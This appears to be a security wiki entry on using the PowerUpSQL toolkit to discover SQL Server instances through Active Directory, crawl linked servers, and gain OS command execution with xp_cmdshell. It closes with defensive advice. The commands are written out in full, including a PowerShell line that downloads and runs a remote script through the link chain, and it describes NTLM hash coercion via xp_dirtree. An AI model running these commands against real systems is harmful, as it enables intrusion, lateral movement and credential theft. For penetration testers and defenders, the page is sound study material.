Attacking MS SQL Server with PowerUpSQL

SQL Server is the highest-density privilege target on most internal Windows networks: instances advertise themselves in Active Directory via Service Principal Names, they’re administered by people who think in databases rather than OS security, and they chain to each other through linked servers that often carry more privilege than the entry point. NetSPI’s PowerUpSQL is the canonical PowerShell toolkit for the whole lifecycle — discovery, auditing, privilege escalation — with pipeline support so functions compose and multi-thread to operate at domain scale. It uses the .NET SqlClient library directly, so it runs from any domain-joined (or even unjoined, with credentials) Windows box with no SQL client tools installed.

Discovery: SPNs are the map

Any SQL Server service account registers an MSSQLSvc/... SPN in AD — query the directory and you have the inventory, no port scanning required:

Get-SQLInstanceDomain                                    # all SQL SPNs in the domain
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose   # which accept *your* login
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose       # version, config, privilege context

Get-SQLConnectionTestThreaded returns per-instance Accessible/Not Accessible — pipe through Where-Object {$_.Status -eq "Accessible"} to build the working target list. The unauthenticated version of this recon (browsing SPNs) is invisible on the wire; the connection tests are ordinary login attempts, indistinguishable from a legitimate app at low volume.

Linked servers: privilege that travels

A linked server is a stored connection from one SQL Server to another data source, including credentials. When the stored credential is more privileged than the account you hold — or when links chain A→B→C — one foothold instance becomes many. NetSPI’s research on hacking database links predates the toolkit; Get-SQLServerLinkCrawl operationalized it:

# Enumerate links from a foothold instance
Get-SQLServerLink -Instance $TARGET -Verbose
 
# Crawl every reachable link path, reporting version + privileges per hop
Get-SQLServerLinkCrawl -Instance $TARGET -Verbose

The crawl output marks inaccessible hops as broken links and shows the link path, the user each link authenticates as, and that user’s privileges on the far side — escalation paths surface as “link authenticates as sa/sysadmin” several hops from your entry point.

Command execution: xp_cmdshell over the crawl

Once a hop has sysadmin, xp_cmdshell yields OS command execution as the SQL Server service account — and Get-SQLServerLinkCrawl -Query will route queries (including xp_cmdshell and xp_dirtree) over OPENQUERY through the link chain, so you can execute on servers you can’t even reach directly:

Get-SQLServerLinkCrawl -Instance $TARGET -Query 'exec master..xp_cmdshell "whoami"'
 
# Stage a PowerShell payload through the chain
Get-SQLServerLinkCrawl -Instance $TARGET -Query 'exec master..xp_cmdshell "powershell IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.5/s.ps1'')"'

xp_dirtree to a UNC path doubles as an NTLM-hashing/coercion primitive (the SQL service account authenticates to your listener). The full pattern — discovery via SPN, crawl, cmdshell at the deepest privileged hop — is documented end-to-end in the PowerUpSQL cheat sheet on the project’s GitHub wiki.

Defense notes

• Inventory drift is the root exposure: Get-SQLInstanceDomain works for defenders too — if your answer differs from the CMDB, fix that first
• Audit linked servers (sp_helplinkedsrvlogin) for stored sa/sysadmin credentials and long chains; every link is a trust edge an attacker inherits
• Leave xp_cmdshell disabled (default); alert on sp_configure changes enabling it and on any xp_cmdshell execution — see mssql-empty-sa-xp-cmdshell for the sibling path where the initial access is an empty sa password rather than AD-authenticated crawling
• Monitor for SQL service accounts making outbound SMB (xp_dirtree UNC coercion) — service accounts rarely have legitimate reasons to touch workstation shares

Sources

• 2016 — NetSPI — PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server
• 2017 — NetSPI — SQL Server Link Crawling with PowerUpSQL
• NetSPI/PowerUpSQL — GitHub Repository

Related

• ms-sql-server — hub for the underlying xp_cmdshell / xp_dirtree / impersonation primitives this toolkit operationalizes
• metasploit-ms-sql-modules — the Metasploit-side module set for the same target surface
• mssql-empty-sa-xp-cmdshell — the empty-password sibling attack path to the same xp_cmdshell endpoint
• ntlm-relay-attacks — MSSQL is both a relay target and (via xp_dirtree) a coercion source
• wmi-remote-service-execution — parallel remote-execution channel once SQL yields a host foothold
• windows-services — the service-account context xp_cmdshell runs as